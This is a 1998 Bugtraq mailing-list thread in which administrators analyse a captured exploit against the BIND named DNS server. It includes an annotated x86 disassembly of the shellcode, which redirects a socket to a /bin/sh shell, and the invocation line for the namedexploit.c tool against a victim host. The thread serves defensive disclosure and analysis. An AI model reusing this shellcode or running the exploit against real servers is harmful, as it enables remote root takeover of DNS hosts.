[6981] in bugtraq
Re: Bind 4.9.6 ~ Current | X86 Exploit
daemon@ATHENA.MIT.EDU (Valentin Pavlov)
Thu Jun 18 11:15:53 1998
Date: Thu, 18 Jun 1998 11:11:23 +0300
Reply-To: Valentin Pavlov <root@NETBG.COM>
From: Valentin Pavlov <root@NETBG.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <01BD99FB.9C5FB180.schoenbg@os.inf.tu-dresden.de>
Actually, as I posted to the original author, the packets are exactly what
is produced by the namedexploit.c exploit, postead in the article "named
warez" early on BUGTRAQ. I am pretty sure this is not a new exploit, this
is namedexploit.c
The packets are what you get if you attack a server with
namedexploit ns.yourvictim.org 4 1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score
----------------------------
Valentin 'Val Capone' Pavlov
----------------------------
capone@netbg.com, UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
On Wed, 17 Jun 1998, Sebastian Schoenberg wrote:
> I disassembled the packets and as you can see below, thats code to
> execute /bin/sh.
>
> Sebastian
>
> # objdump -lD -b binary --start=0x1fb7 --architecture=i386 scanme2 | less
>
> scanme2: file format binary
>
> No symbols in "scanme2".
> Disassembly of section .data:
>
> 00001fb7 <.data+0x1fb7>:
>
> ;-------------------------------------------------------------------------------------------------------
> ; Duplicate descriptor 4 to stdin (which is probably the socket)
> .... lots of nops deleted
>
> 1fb7: 31 c0 xorl %eax,%eax
> 1fb9: b0 3f movb $0x3f,%al
> 1fbb: 31 db xorl %ebx,%ebx
> 1fbd: b3 04 movb $0x4,%bl
> 1fbf: 31 c9 xorl %ecx,%ecx
> 1fc1: cd 80 int $0x80
> ; Dup stdout too
>
> 1fc3: 31 c0 xorl %eax,%eax
> 1fc5: b0 3f movb $0x3f,%al
> 1fc7: b1 01 movb $0x1,%cl
> 1fc9: cd 80 int $0x80
> 1fcb: 31 c0 xorl %eax,%eax
> 1fcd: b0 3f movb $0x3f,%al
> 1fcf: b1 02 movb $0x2,%cl
> 1fd1: cd 80 int $0x80
> 1fd3: eb 24 jmp 0x1ff9
> ; jmp and call returns here, so esi is address of '/bin/sh'
>
> 1fd5: 5e popl %esi
> 1fd6: 8d 1e leal (%esi),%ebx
> 1fd8: 89 5e 0b movl %ebx,0xb(%esi)
> 1fdb: 33 d2 xorl %edx,%edx
> 1fdd: 89 56 07 movl %edx,0x7(%esi)
> 1fe0: 89 56 0f movl %edx,0xf(%esi)
> 1fe3: b8 1b 56 34 12 movl $0x1234561b,%eax
> 1fe8: 35 10 56 34 12 xorl $0x12345610,%eax
> ; eax is 0x0b which is ecexve, starts /bin/sh
>
> 1fed: 8d 4e 0b leal 0xb(%esi),%ecx
> 1ff0: 8b d1 movl %ecx,%edx
> 1ff2: cd 80 int $0x80
>
> ; do exit if fail
> 1ff4: 33 c0 xorl %eax,%eax
> 1ff6: 40 incl %eax
> 1ff7: cd 80 int $0x80
> 1ff9: e8 d7 ff ff ff call 0x1fd5
>
> ; this here is '/bin.sh' as string
> 1ffe: 2f das
> 1fff: 62 69 6e boundl 0x6e(%ecx),%ebp
> 2002: 2f das
> 2003: 73 68 jae 0x206d
> 2005: 00 90 90 90 90 addb %dl,0x90909090(%eax)
>
> ; and lots of nops....
>
> -----Original Message-----
> From: System Administrator [SMTP:root@303.ORG]
> Sent: Wednesday, June 17, 1998 12:10 AM
> To: BUGTRAQ@NETSPACE.ORG
> Subject: Bind 4.9.6 ~ Current | X86 Exploit
>
>
> My apologies if this problem is already known.
>
> The attached file is a tcpdump written out, of a person i know, testing
> a new exploit for bind on me. To read this file and make any sense of it:
>
> tcpdump -vvxr scanme2
>
> It would appear to be another buffer overflow, and triggering it with
> sending mass "9090" to something. We are looking further into this, but do
> not yet have a exploit for it, but are a bit more concearned with a patch.
> It looks like it was spawned off the idea of the inverse query exploit.
>
> Also, at first look it appears the problem probally originates in
> ns_resp.c, under the /named directory in source. And the code I sent
> happens to corrupt the stack by adding "909090909090~" on the end of
> packets, corrupting the stack, crashing named, after leaving a root shell.
>
> It is also rumored that there are two version of this exploit already out,
> one a bit more public than the other, this one was the unreleased, not
> very public version.
>
> *side note*
> Ive definetly got some of this wrong, but any information would be very
> helpfull on it.
>
> --------------------
>
> System Administrator
> Http://www.303.org/~netmask/
> root@303.org
>
